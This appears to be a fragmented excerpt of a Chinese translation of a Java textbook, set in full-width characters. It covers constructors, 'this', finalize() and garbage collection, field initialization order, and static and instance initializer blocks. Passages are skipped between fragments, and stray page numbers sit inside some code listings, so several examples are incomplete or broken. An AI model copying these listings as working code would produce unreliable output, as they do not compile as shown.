    {"text": "ｔｈｉｓ（ｓ）； ／／ Ｃａｎ＇ｔ ｃａｌｌ ｔｗｏ！ ｔｈｉｓ．ｓ ＝ ｓ； ／／ Ａｎｏｔｈｅｒ ｕｓｅ ｏｆ ＂ｔｈｉｓ＂ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔｒｉｎｇ ＆ ｉｎｔ ａｒｇｓ＂）； ｝ Ｆｌｏｗｅｒ（） ｛ ｔｈｉｓ（＂ｈｉ＂， ４７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｄｅｆａｕｌｔ ｃｏｎｓｔｒｕｃｔｏｒ （ｎｏ ａｒｇｓ）＂）； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ ／／！ ｔｈｉｓ（１１）； ／／ Ｎｏｔ ｉｎｓｉｄｅ ｎｏｎ－ｃｏｎｓｔｒｕｃｔｏｒ！ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｐｅｔａｌＣｏｕｎｔ ＝ ＂ ＋ ｐｅｔａｌＣｏｕｎｔ ＋ ＂ ｓ ＝ ＂＋ ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｌｏｗｅｒ ｘ ＝ ｎｅｗ Ｆｌｏｗｅｒ（）； ｘ．ｐｒｉｎｔ（）；"},
    {"text": "｝ ｝ ／／／：￣ 其中，构建器 Ｆｌｏｗｅｒ（Ｓｔｒｉｎｇ ｓ，ｉｎｔ ｐｅｔａｌｓ）向我们揭示出这样一个问题：尽管可用 ｔｈｉｓ 调用一个构建器， 但不可调用两个。"},
    {"text": "除了全局函数不允许在 Ｊａｖａ 中使用以外，若将一个 ｓｔａｔｉｃ 方法置入一个类的内部，它就可以访问其他 ｓｔａｔｉｃ 方法以及 ｓｔａｔｉｃ 字段。"},
    {"text": "②：有可能发出这类调用的一种情况是我们将一个对象句柄传到 ｓｔａｔｉｃ 方法内部。 随后，通过句柄（此时实 际是 ｔｈｉｓ），我们可调用非 ｓｔａｔｉｃ 方法，并访问非 ｓｔａｔｉｃ 字段。"},
    {"text": "在理想情况下，它的工作原 理应该是这样的：一旦垃圾收集器准备好释放对象占用的存储空间，它首先调用 ｆｉｎａｌｉｚｅ（），而且只有在下 一次垃圾收集过程中，才会真正回收对象的内存。"},
    {"text": "但也是一个潜在的编程陷阱，因为有些程序员（特别是在 Ｃ＋＋开发背景的）刚开始可能会错误认为它就是在 Ｃ＋＋中为“破坏器”（Ｄｅｓｔｒｕｃｔｏｒ）使用的 ｆｉｎａｌｉｚｅ（）——破坏（清除）一个对象的时候，肯定会调用这个 函数。 但在这里有必要区分一下 Ｃ＋＋和 Ｊａｖａ 的区别，因为 Ｃ＋＋的对象肯定会被清除（排开编程错误的因 素），而 Ｊａｖａ 对象并非肯定能作为垃圾被“收集”去。"},
    {"text": "之所以要使用 ｆｉｎａｌｉｚｅ（），看起来似乎是由于有时需要采取与 Ｊａｖａ 的普通方法不同的一种方法，通过分配 内存来做一些具有 Ｃ 风格的事情。"},
    {"text": "若将 Ｃ＋＋对象创建成一个本地对象，比如在堆栈中创建（在 Ｊａｖａ 中是不可能的），那么 清除或破坏工作就会在“结束花括号”所代表的、创建这个对象的作用域的末尾进行。 若对象是用 ｎｅｗ 创建 的（类似于 Ｊａｖａ），那么当程序员调用 Ｃ＋＋的 ｄｅｌｅｔｅ 命令时（Ｊａｖａ 没有这个命令），就会调用相应的破坏 器。"},
    {"text": "然而，随着以后学习的深入，就会知道垃圾收集器的存 在并不能完全消除对破坏器的需要，或者说不能消除对破坏器代表的那种机制的需要（而且绝对不能直接调 用 ｆｉｎａｌｉｚｅ（），所以应尽量避免用它）。"},
    {"text": "／／： Ｇａｒｂａｇｅ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ｔｈｅ ｇａｒｂａｇｅ ／／ ｃｏｌｌｅｃｔｏｒ ａｎｄ ｆｉｎａｌｉｚａｔｉｏｎ ｃｌａｓｓ Ｃｈａｉｒ ｛ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｇｃｒｕｎ ＝ ｆａｌｓｅ； ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｆ ＝ ｆａｌｓｅ； ｓｔａｔｉｃ ｉｎｔ ｃｒｅａｔｅｄ ＝ ０； ｓｔａｔｉｃ ｉｎｔ ｆｉｎａｌｉｚｅｄ ＝ ０； ｉｎｔ ｉ； Ｃｈａｉｒ（） ｛ ｉ ＝ ＋＋ｃｒｅａｔｅｄ； ｉｆ（ｃｒｅａｔｅｄ ＝＝ ４７） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｒｅａｔｅｄ ４７＂）； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｆｉｎａｌｉｚｅ（） ｛ ｉｆ（！ ｇｃｒｕｎ） ｛ ｇｃｒｕｎ ＝ ｔｒｕｅ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｂｅｇｉｎｎｉｎｇ ｔｏ ｆｉｎａｌｉｚｅ ａｆｔｅｒ ＂ ＋ ｃｒｅａｔｅｄ ＋ ＂ Ｃｈａｉｒｓ ｈａｖｅ ｂｅｅｎ ｃｒｅａｔｅｄ＂）； ｝ ｉｆ（ｉ ＝＝ ４７） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｆｉｎａｌｉｚｉｎｇ Ｃｈａｉｒ ＃４７， ＂ ＋ ＂Ｓｅｔｔｉｎｇ ｆｌａｇ ｔｏ ｓｔｏｐ Ｃｈａｉｒ ｃｒｅａｔｉｏｎ＂）； ｆ ＝ ｔｒｕｅ； ｝ ｆｉｎａｌｉｚｅｄ＋＋； ｉｆ（ｆｉｎａｌｉｚｅｄ ＞＝ ｃｒｅａｔｅｄ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ １０６ ＂Ａｌｌ ＂ ＋ ｆｉｎａｌｉｚｅｄ ＋ ＂ ｆｉｎａｌｉｚｅｄ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｇａｒｂａｇｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｕｓａｇｅ： ＼ｎ＂ ＋ ＂ｊａｖａ Ｇａｒｂａｇｅ ｂｅｆｏｒｅ＼ｎ ｏｒ：＼ｎ＂ ＋ ＂ｊａｖａ Ｇａｒｂａｇｅ ａｆｔｅｒ＂）； ｒｅｔｕｒｎ； ｝ ｗｈｉｌｅ（！ Ｃｈａｉｒ．ｆ） ｛ ｎｅｗ Ｃｈａｉｒ（）； ｎｅｗ Ｓｔｒｉｎｇ（＂Ｔｏ ｔａｋｅ ｕｐ ｓｐａｃｅ＂）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ａｆｔｅｒ ａｌｌ Ｃｈａｉｒｓ ｈａｖｅ ｂｅｅｎ ｃｒｅａｔｅｄ：＼ｎ＂ ＋ ＂ｔｏｔａｌ ｃｒｅａｔｅｄ ＝ ＂ ＋ Ｃｈａｉｒ．ｃｒｅａｔｅｄ ＋ ＂， ｔｏｔａｌ ｆｉｎａｌｉｚｅｄ ＝ ＂ ＋ Ｃｈａｉｒ．ｆｉｎａｌｉｚｅｄ）； ｉｆ（ａｒｇｓ［０］．ｅｑｕａｌｓ（＂ｂｅｆｏｒｅ＂）） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｇｃ（）：＂）； Ｓｙｓｔｅｍ．ｇｃ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｒｕｎＦｉｎａｌｉｚａｔｉｏｎ（）：＂）； Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚａｔｉｏｎ（）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂｙｅ！"},
    {"text": "另两个 ｓｔａｔｉｃ 变量——ｃｒｅａｔｅｄ 以及 ｆｉｎａｌｉｚｅｄ——分别用于跟踪已创建的对象数量以及垃圾收集器已进行 完收尾工作的对象数量。"},
    {"text": "每次循环过程中创建的 Ｓｔｒｉｎｇ 对象只是属于额外的垃圾，用于吸引垃圾收集器——一旦垃圾收集器对可用内 存的容量感到“紧张不安”，就会开始关注它。"},
    {"text": "其中，“ｂｅｆｏｒｅ”自变量会调用 Ｓｙｓｔｅｍ．ｇｃ（）方法（强制执行垃圾收集器），同时还会调用 Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚａｔｉｏｎ（）方法，以便进行收尾 １０７ 工作。"},
    {"text": "这些方法都可在 Ｊａｖａ １．０ 中使用，但通过使用“ａｆｔｅｒ”自变量而调用的 ｒｕｎＦｉｎａｌｉｚｅｒｓＯｎＥｘｉｔ（）方 法却只有 Ｊａｖａ １．１ 及后续版本提供了对它的支持（注释③）。"},
    {"text": "若使用一个不是“ｂｅｆｏｒｅ”或“ａｆｔｅｒ”的自变量（如“ｎｏｎｅ”），那么两个收尾工 作都不会进行，而且我们会得到象下面这样的输出： Ｃｒｅａｔｅｄ ４７ Ｂｅｇｉｎｎｉｎｇ ｔｏ ｆｉｎａｌｉｚｅ ａｆｔｅｒ ８６９４ Ｃｈａｉｒｓ ｈａｖｅ ｂｅｅｎ ｃｒｅａｔｅｄ Ｆｉｎａｌｉｚｉｎｇ Ｃｈａｉｒ ＃４７， Ｓｅｔｔｉｎｇ ｆｌａｇ ｔｏ ｓｔｏｐ Ｃｈａｉｒ ｃｒｅａｔｉｏｎ Ａｆｔｅｒ ａｌｌ Ｃｈａｉｒｓ ｈａｖｅ ｂｅｅｎ ｃｒｅａｔｅｄ： ｔｏｔａｌ ｃｒｅａｔｅｄ ＝ ９８３４， ｔｏｔａｌ ｆｉｎａｌｉｚｅｄ ＝ １０８ ｂｙｅ！"},
    {"text": "这样做一 个稍显奇怪的地方是在调用 ｒｕｎＦｉｎａｌｉｚａｔｉｏｎ（）之前调用 ｇｃ（），这看起来似乎与 Ｓｕｎ 公司的文档说明有些抵 触，它宣称首先运行收尾模块，再释放存储空间。 然而，若在这里首先调用 ｒｕｎＦｉｎａｌｉｚａｔｉｏｎ（），再调用 ｇｃ（），收尾模块根本不会执行。"},
    {"text": "由于任何方法都可以 初始化或使用那个数据，所以在正式使用数据前，若还是强迫程序员将其初始化成一个适当的值，就可能不 是一种实际的做法。"},
    {"text": "可用下面这段小程序看到这些值： ／／： ＩｎｉｔｉａｌＶａｌｕｅｓ．ｊａｖａ ／／ Ｓｈｏｗｓ ｄｅｆａｕｌｔ ｉｎｉｔｉａｌ ｖａｌｕｅｓ ｃｌａｓｓ Ｍｅａｓｕｒｅｍｅｎｔ ｛ １０８ ｂｏｏｌｅａｎ ｔ；"},
    {"text": "ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｄａｔａ ｔｙｐｅ Ｉｎｉｔａｌ ｖａｌｕｅ＼ｎ＂ ＋ ＂ｂｏｏｌｅａｎ ＂ ＋ ｔ ＋ ＂＼ｎ＂ ＋ ＂ｃｈａｒ ＂ ＋ ｃ ＋ ＂ ＼ｎ＂ ＋ ＂ｂｙｔｅ ＂ ＋ ｂ ＋ ＂ ＼ｎ＂ ＋ ＂ｓｈｏｒｔ ＂ ＋ ｓ ＋ ＂＼ｎ＂ ＋ ＂ｉｎｔ ＂ ＋ ｉ ＋ ＂＼ｎ＂ ＋ ＂ｌｏｎｇ ＂ ＋ ｌ ＋ ＂ ＼ｎ＂ ＋ ＂ｆｌｏａｔ ＂ ＋ ｆ ＋ ＂＼ｎ＂ ＋ ＂ｄｏｕｂｌｅ ＂ ＋ ｄ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＩｎｉｔｉａｌＶａｌｕｅｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｍｅａｓｕｒｅｍｅｎｔ ｄ ＝ ｎｅｗ Ｍｅａｓｕｒｅｍｅｎｔ（）； ｄ．ｐｒｉｎｔ（）； ／＊ Ｉｎ ｔｈｉｓ ｃａｓｅ ｙｏｕ ｃｏｕｌｄ ａｌｓｏ ｓａｙ： ｎｅｗ Ｍｅａｓｕｒｅｍｅｎｔ（）．ｐｒｉｎｔ（）； ＊／ ｝ ｝ ／／／：￣ 输入结果如下： Ｄａｔａ ｔｙｐｅ Ｉｎｉｔａｌ ｖａｌｕｅ ｂｏｏｌｅａｎ ｆａｌｓｅ ｃｈａｒ ｂｙｔｅ ０ ｓｈｏｒｔ ０ ｉｎｔ ０ ｌｏｎｇ ０ ｆｌｏａｔ ０．０ ｄｏｕｂｌｅ ０．０ 其中，Ｃｈａｒ 值为空（ＮＵＬＬ），没有数据打印出来。"},
    {"text": "为达到这个目的，一个最直接的做法是在类内部 定义变量的同时也为其赋值（注意在 Ｃ＋＋里不能这样做，尽管 Ｃ＋＋的新手们总“想”这样做）。"},
    {"text": "在下面， Ｍｅａｓｕｒｅｍｅｎｔ 类内部的字段定义已发生了变化，提供了初始值： １０９ ｃｌａｓｓ Ｍｅａｓｕｒｅｍｅｎｔ ｛ ｂｏｏｌｅａｎ ｂ ＝ ｔｒｕｅ；"},
    {"text": "ｃｈａｒ ｃ ＝ ＇ｘ＇； ｂｙｔｅ Ｂ ＝ ４７； ｓｈｏｒｔ ｓ ＝ ０ｘｆｆ； ｉｎｔ ｉ ＝ ９９９； ｌｏｎｇ ｌ ＝ １； ｆｌｏａｔ ｆ ＝ ３．１４ｆ； ｄｏｕｂｌｅ ｄ ＝ ３．１４１５９；"},
    {"text": "若 Ｄｅｐｔｈ 是一个类，那么可象下面这样插入一个变量并 进行初始化： ｃｌａｓｓ Ｍｅａｓｕｒｅｍｅｎｔ ｛ Ｄｅｐｔｈ ｏ ＝ ｎｅｗ Ｄｅｐｔｈ（）；"},
    {"text": "／／ ． ． ． 若尚未为 ｏ 指定一个初始值，同时不顾一切地提前试用它，就会得到一条运行期错误提示，告诉你产生了名 为“违例”（Ｅｘｃｅｐｔｉｏｎ）的一个错误（在第 ９ 章详述）。"},
    {"text": "因此，假如使用下述代码： ｃｌａｓｓ Ｃｏｕｎｔｅｒ ｛ ｉｎｔ ｉ； Ｃｏｕｎｔｅｒ（） ｛ ｉ ＝ ７； ｝ ／／ ． ． ． 那么 ｉ 首先会初始化成零，然后变成 ７。"},
    {"text": "考虑到这个原因，编译器不会试着强迫我们在构建器任何特定的 场所对元素进行初始化，或者在它们使用之前——初始化早已得到了保证（注释⑤）。"},
    {"text": "例如： ／／： ＯｒｄｅｒＯｆＩｎｉｔｉａｌｉｚａｔｉｏｎ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｏｒｄｅｒ． ／／ Ｗｈｅｎ ｔｈｅ ｃｏｎｓｔｒｕｃｔｏｒ ｉｓ ｃａｌｌｅｄ， ｔｏ ｃｒｅａｔｅ ａ ／／ Ｔａｇ ｏｂｊｅｃｔ， ｙｏｕ＇ｌｌ ｓｅｅ ａ ｍｅｓｓａｇｅ： ｃｌａｓｓ Ｔａｇ ｛ Ｔａｇ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔａｇ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｝ ｃｌａｓｓ Ｃａｒｄ ｛ Ｔａｇ ｔ１ ＝ ｎｅｗ Ｔａｇ（１）； ／／ Ｂｅｆｏｒｅ ｃｏｎｓｔｒｕｃｔｏｒ Ｃａｒｄ（） ｛ ／／ Ｉｎｄｉｃａｔｅ ｗｅ＇ｒｅ ｉｎ ｔｈｅ ｃｏｎｓｔｒｕｃｔｏｒ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｒｄ（）＂）； ｔ３ ＝ ｎｅｗ Ｔａｇ（３３）； ／／ Ｒｅ－ｉｎｉｔｉａｌｉｚｅ ｔ３ ｝ Ｔａｇ ｔ２ ＝ ｎｅｗ Ｔａｇ（２）； ／／ Ａｆｔｅｒ ｃｏｎｓｔｒｕｃｔｏｒ ｖｏｉｄ ｆ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ（）＂）； ｝ Ｔａｇ ｔ３ ＝ ｎｅｗ Ｔａｇ（３）； ／／ Ａｔ ｅｎｄ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＯｒｄｅｒＯｆＩｎｉｔｉａｌｉｚａｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃａｒｄ ｔ ＝ ｎｅｗ Ｃａｒｄ（）； ｔ．ｆ（）；"},
    {"text": "／／ Ｓｈｏｗｓ ｔｈａｔ ｃｏｎｓｔｒｕｃｔｉｏｎ ｉｓ ｄｏｎｅ ｝ １１１ ｝ ／／／：￣ 在 Ｃａｒｄ 中，Ｔａｇ 对象的定义故意到处散布，以证明它们全都会在构建器进入或者发生其他任何事情之前得到 初始化。"},
    {"text": "它的输入结果如下： Ｔａｇ（１） Ｔａｇ（２） Ｔａｇ（３） Ｃａｒｄ（） Ｔａｇ（３３） ｆ（） 因此，ｔ３ 句柄会被初始化两次，一次在构建器调用前，一次在调用期间（第一个对象会被丢弃，所以它后来 可被当作垃圾收掉）。"},
    {"text": "下面这个例子可 将这个问题说更清楚一些： ／／： ＳｔａｔｉｃＩｎｉｔｉａｌｉｚａｔｉｏｎ．ｊａｖａ ／／ Ｓｐｅｃｉｆｙｉｎｇ ｉｎｉｔｉａｌ ｖａｌｕｅｓ ｉｎ ａ ／／ ｃｌａｓｓ ｄｅｆｉｎｉｔｉｏｎ． ｃｌａｓｓ Ｂｏｗｌ ｛ Ｂｏｗｌ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｏｗｌ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｖｏｉｄ ｆ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｝ ｃｌａｓｓ Ｔａｂｌｅ ｛ ｓｔａｔｉｃ Ｂｏｗｌ ｂ１ ＝ ｎｅｗ Ｂｏｗｌ（１）； Ｔａｂｌｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔａｂｌｅ（）＂）； ｂ２．ｆ（１）； ｝ ｖｏｉｄ ｆ２（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ２（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｓｔａｔｉｃ Ｂｏｗｌ ｂ２ ＝ ｎｅｗ Ｂｏｗｌ（２）； ｝ ｃｌａｓｓ Ｃｕｐｂｏａｒｄ ｛ Ｂｏｗｌ ｂ３ ＝ ｎｅｗ Ｂｏｗｌ（３）； １１２ ｓｔａｔｉｃ Ｂｏｗｌ ｂ４ ＝ ｎｅｗ Ｂｏｗｌ（４）； Ｃｕｐｂｏａｒｄ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｕｐｂｏａｒｄ（）＂）； ｂ４．ｆ（２）； ｝ ｖｏｉｄ ｆ３（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ３（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｓｔａｔｉｃ Ｂｏｗｌ ｂ５ ＝ ｎｅｗ Ｂｏｗｌ（５）； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｔａｔｉｃＩｎｉｔｉａｌｉｚａｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｒｅａｔｉｎｇ ｎｅｗ Ｃｕｐｂｏａｒｄ（） ｉｎ ｍａｉｎ＂）； ｎｅｗ Ｃｕｐｂｏａｒｄ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｒｅａｔｉｎｇ ｎｅｗ Ｃｕｐｂｏａｒｄ（） ｉｎ ｍａｉｎ＂）； ｎｅｗ Ｃｕｐｂｏａｒｄ（）； ｔ２．ｆ２（１）； ｔ３．ｆ３（１）； ｝ ｓｔａｔｉｃ Ｔａｂｌｅ ｔ２ ＝ ｎｅｗ Ｔａｂｌｅ（）； ｓｔａｔｉｃ Ｃｕｐｂｏａｒｄ ｔ３ ＝ ｎｅｗ Ｃｕｐｂｏａｒｄ（）；"},
    {"text": "｝ ／／／：￣ Ｂｏｗｌ 允许我们检查一个类的创建过程，而 Ｔａｂｌｅ 和 Ｃｕｐｂｏａｒｄ 能创建散布于类定义中的 Ｂｏｗｌ 的 ｓｔａｔｉｃ 成 员。"},
    {"text": "它的输出结果如下： Ｂｏｗｌ（１） Ｂｏｗｌ（２） Ｔａｂｌｅ（） ｆ（１） Ｂｏｗｌ（４） Ｂｏｗｌ（５） Ｂｏｗｌ（３） Ｃｕｐｂｏａｒｄ（） ｆ（２） Ｃｒｅａｔｉｎｇ ｎｅｗ Ｃｕｐｂｏａｒｄ（） ｉｎ ｍａｉｎ Ｂｏｗｌ（３） Ｃｕｐｂｏａｒｄ（） ｆ（２） Ｃｒｅａｔｉｎｇ ｎｅｗ Ｃｕｐｂｏａｒｄ（） ｉｎ ｍａｉｎ Ｂｏｗｌ（３） Ｃｕｐｂｏａｒｄ（） ｆ（２） ｆ２（１） ｆ３（１） ｓｔａｔｉｃ 初始化只有在必要的时候才会进行。"},
    {"text": "如果不创建一个 Ｔａｂｌｅ 对象，而且永远都不引用 Ｔａｂｌｅ．ｂ１ 或 Ｔａｂｌｅ．ｂ２，那么 ｓｔａｔｉｃ Ｂｏｗｌ ｂ１ 和 ｂ２ 永远都不会创建。"},
    {"text": "请考虑一个名为 Ｄｏｇ 的类： （１） 类型为 Ｄｏｇ 的一个对象首次创建时，或者 Ｄｏｇ 类的 ｓｔａｔｉｃ 方法／ｓｔａｔｉｃ 字段首次访问时，Ｊａｖａ 解释器 必须找到 Ｄｏｇ．ｃｌａｓｓ（在事先设好的类路径里搜索）。"},
    {"text": "３． 明确进行的静态初始化 Ｊａｖａ 允许我们将其他 ｓｔａｔｉｃ 初始化工作划分到类内一个特殊的“ｓｔａｔｉｃ 构建从句”（有时也叫作“静态 块”）里。"},
    {"text": "与其他 ｓｔａｔｉｃ 初始化一 样，这段代码仅执行一次——首次生成那个类的一个对象时，或者首次访问属于那个类的一个 ｓｔａｔｉｃ 成员时 （即便从未生成过那个类的对象）。"},
    {"text": "例如： ／／： ＥｘｐｌｉｃｉｔＳｔａｔｉｃ．ｊａｖａ ／／ Ｅｘｐｌｉｃｉｔ ｓｔａｔｉｃ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ／／ ｗｉｔｈ ｔｈｅ ＂ｓｔａｔｉｃ＂ ｃｌａｕｓｅ． ｃｌａｓｓ Ｃｕｐ ｛ Ｃｕｐ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｕｐ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｖｏｉｄ ｆ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｝ ｃｌａｓｓ Ｃｕｐｓ ｛ ｓｔａｔｉｃ Ｃｕｐ ｃ１； ｓｔａｔｉｃ Ｃｕｐ ｃ２； ｓｔａｔｉｃ ｛ ｃ１ ＝ ｎｅｗ Ｃｕｐ（１）； ｃ２ ＝ ｎｅｗ Ｃｕｐ（２）； ｝ Ｃｕｐｓ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｕｐｓ（）＂）； １１４ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＥｘｐｌｉｃｉｔＳｔａｔｉｃ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｓｉｄｅ ｍａｉｎ（）＂）； Ｃｕｐｓ．ｃ１．ｆ（９９）； ／／ （１） ｝ ｓｔａｔｉｃ Ｃｕｐｓ ｘ ＝ ｎｅｗ Ｃｕｐｓ（）； ／／ （２） ｓｔａｔｉｃ Ｃｕｐｓ ｙ ＝ ｎｅｗ Ｃｕｐｓ（）；"},
    {"text": "／／ （２） ｝ ／／／：￣ 在标记为（１）的行内访问 ｓｔａｔｉｃ 对象 ｃ１ 的时候，或在行（１）标记为注释，同时（２）行不标记成注释的时候，用 于 Ｃｕｐｓ 的 ｓｔａｔｉｃ 初始化模块就会运行。"},
    {"text": "下面是一个例子： ／／： Ｍｕｇｓ．ｊａｖａ ／／ Ｊａｖａ １．１ ＂Ｉｎｓｔａｎｃｅ Ｉｎｉｔｉａｌｉｚａｔｉｏｎ＂ ｃｌａｓｓ Ｍｕｇ ｛ Ｍｕｇ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｍｕｇ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｖｏｉｄ ｆ（ｉｎｔ ｍａｒｋｅｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ（＂ ＋ ｍａｒｋｅｒ ＋ ＂）＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｕｇｓ ｛ Ｍｕｇ ｃ１； Ｍｕｇ ｃ２； ｛ ｃ１ ＝ ｎｅｗ Ｍｕｇ（１）； ｃ２ ＝ ｎｅｗ Ｍｕｇ（２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ１ ＆ ｃ２ ｉｎｉｔｉａｌｉｚｅｄ＂）； ｝ Ｍｕｇｓ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｍｕｇｓ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｓｉｄｅ ｍａｉｎ（）＂）； Ｍｕｇｓ ｘ ＝ ｎｅｗ Ｍｕｇｓ（）； ｝ ｝ ／／／：￣ 大家可看到实例初始化从句： ｛ ｃ１ ＝ ｎｅｗ Ｍｕｇ（１）； １１５ ｃ２ ＝ ｎｅｗ Ｍｕｇ（２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ１ ＆ ｃ２ ｉｎｉｔｉａｌｉｚｅｄ＂）；"},
    {"text": "我们真正准备做的是复制一个句柄，就象下面演示的那样： ／／： Ａｒｒａｙｓ．ｊａｖａ ／／ Ａｒｒａｙｓ ｏｆ ｐｒｉｍｉｔｉｖｅｓ． ｐｕｂｌｉｃ ｃｌａｓｓ Ａｒｒａｙｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ［］ ａ１ ＝ ｛ １， ２， ３， ４， ５ ｝；"},
